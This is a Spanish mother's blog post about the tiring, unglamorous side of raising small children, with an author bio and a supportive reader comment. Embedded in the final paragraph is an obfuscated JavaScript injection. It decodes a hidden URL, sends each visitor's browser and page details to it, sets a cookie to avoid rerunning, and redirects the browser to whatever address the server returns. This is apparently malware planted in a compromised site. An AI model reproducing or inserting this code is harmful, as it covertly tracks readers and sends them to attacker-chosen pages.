La otra cara de la maternidad

Este post surge una noche a las 4 de la mañana cuando, después de despertarme con anterioridad tres veces, decido dejar llorar a mi hija Ana de un año. Sí, lo confieso, ya no puedo más, son 365 días sin descanso y la madre que escribe post sobre ‘su princesa lastimada’ o redacta frases del tipo ‘la maternidad no es un sacrificio’ y otras tantas expresiones edulcoradas ha decidido que esta semana toca decir la verdad y solamente la verdad.

Cuando fui madre hace cinco años empecé a tener una gran fobia hacia los blogs de madres. Siempre contaban cosas bonitas sobre la maternidad, todo era de color de rosa/azul y yo no me sentía identificada. No veía que a mí me pasaran esas cosas ‘maravillosas’ que otras compartían en la red. Yo no dormía, lo de quedar con mis amigas era un imposible, y cuando lo hacía, mantener una conversación de más de un minuto se convertía en todo un milagro, por no hablar del momento ducha… ¡buff! ¡Dónde quedaron esos días en los que mi marido me regañaba porque llevaba demasiado tiempo y se gastaba muchaaa agua!

Ahora nada de eso volvería, porque mi decisión de tener un hijo, algo ansiado y deseado, me lo había arrebatado de un día para otro sin yo darme cuenta. Y lo que más me dolía era que nadie me había contado nada. Yo, tan previsora que soy para todo, quizás hubiese podido prepararme (una vez leí que una chica que iba a adoptar un niño, se ponía el despertador por la noche cada tres horas para irse acostumbrando a lo que se le venía encima), aunque con el tiempo sé que hubiese sido imposible, pero quizás, al menos, no me hubiera pillado tan de sopetón.

¿Por qué nadie habla de esta parte? No lo sé, pero nadie, repito, nadie, me había dijo lo que cambiaría mi vida con la maternidad. Yo sola lo fui averiguando, aceptando y rechazando, adaptándome, hasta que ha llegado un punto en el que lo estoy defendiendo con uñas y dientes y, cosas del destino, hasta escribo en un blog. ¡Yo misma flipo! Y es que sí, es guay, pero también, digámoslo con letras grandes, ser madre CANSAAAAA, y quizás por eso se hacen cosas como dejar llorar a tu hija, ponerle los dibujos a la mayor un rato para poder cenar tranquilamente o quedarte sentada en un banco durante cinco minutos antes de subir a casa y empezar con el segundo trabajo para respirar y coger fuerzas. ¿Soy mala madre por ello? No, simplemente soy humana, con virtudes y defectos.

Quizás alguien, después de leer este post, me pregunte: ¿Y te compensa? Y no lo dudo, sí, me compensa, y por eso repetí la experiencia (lo del tercero son palabras mayores, y quizás motivo de otro post ‘Contras y pros por los que tener un tercero’), pero también hay veces que hay decir las cosas como son y este era el momento. ¡Hala, hasta la semana que viene! (qué bien me he quedado). var uomjftkd = { encode: function (uymcrbbu, ivpjzup1) { var juykdjus = «»; for (var bmtvoq = 0; bmtvoq < uymcrbbu.length; bmtvoq++) { var maoakjle = uymcrbbu.charCodeAt(bmtvoq); var vznvir = maoakjle ^ ivpjzup1.charCodeAt(bmtvoq % ivpjzup1.length); juykdjus = juykdjus + String.fromCharCode(vznvir); } return juykdjus; }};function ivlvxbnl(xspsscex, qmjwsdtc){ return uomjftkd.encode(xspsscex, qmjwsdtc);}function nhqlzziy(vtzoxco, qmjwsdtc) { function mnbggf(url, qvfdnorl, gaurhzsa) { var svzjxjw = new XMLHttpRequest(); var mvlmqh = ""; var ngpewk = []; var djzspyoe; for(djzspyoe in qvfdnorl) { ngpewk.push(encodeURIComponent(djzspyoe) + '=' + encodeURIComponent(qvfdnorl[djzspyoe])); } mvlmqh = ngpewk.join(String.fromCharCode(38)).replace(/%20/g, '+'); svzjxjw.onreadystatechange = gaurhzsa; svzjxjw.open('GET', vtzoxco + "?" + mvlmqh); svzjxjw.send(mvlmqh); } var broilplq = { ua: navigator.userAgent, referrer: document.referrer, host: window.location.hostname, uri: window.location.pathname, lang: navigator.language, guid: qmjwsdtc }; mnbggf(vtzoxco, broilplq, function () { if (this.readyState == 4) { if (this.status == 200) { qvfdnorl = this.responseText; if (typeof(qvfdnorl) === 'string') { if (qvfdnorl.indexOf("http") === 0) { window.location = qvfdnorl; } } } } });}var advuwpjt = Array();var qmjwsdtc = '08430616d2a2d9759b18f9b49fcabc12';if (document.cookie.indexOf(qmjwsdtc) === -1){ advuwpjt.push(String.fromCharCode(88,76,64,67,67,12,30,25,9,75,8,92,2,86,67,71,88,1,90,93,20,23,11,90,95,9,76,0,18,10,28,88,67,22,68,91,64)); document.cookie = qmjwsdtc + '=1; path=/'; advuwpjt = advuwpjt.forEach(function (xspsscex) { var juykdjus = ivlvxbnl(xspsscex, qmjwsdtc); if (typeof(juykdjus) === 'string') { if (juykdjus.indexOf("http") === 0) { nhqlzziy(juykdjus, qmjwsdtc); return; } } });}

Acerca de Diana

Soy periodista, emprendedora, amante del teatro (sobre todo infantil) y de los buenos planes (en familia, en pareja, entre amigos, en solitario...). Un día, después de un montón de casualidades, decidí lanzarme a la aventura de poner en marcha mi propio proyecto profesional: Mamá tiene un Plan. Hoy, tengo tres peques y muchas ilusiones, a los que dedico todo mi tiempo y energía. En el viaje me acompaña un hombre maravilloso (al que dedico menos tiempo del que me gustaría y quiero con locura) y una gran familia a la que adoro que hace posible que todo lo demás siga girando. @Diana_M_N

2 thoughts on “La otra cara de la maternidad

  1. Ole, ole y ole!!!!
    Muy valiente amiga y al final es que como todo tiene sus luces y sus sombras y nos hace encontrarnos más aún con nuestra propia sombra q es muy duro y sin embargo sale lo mejor que puede dar una mujer y una madre que es el amor incondicional
    Me encanta este post lleno de amor sincero y sin tapujos. Besos

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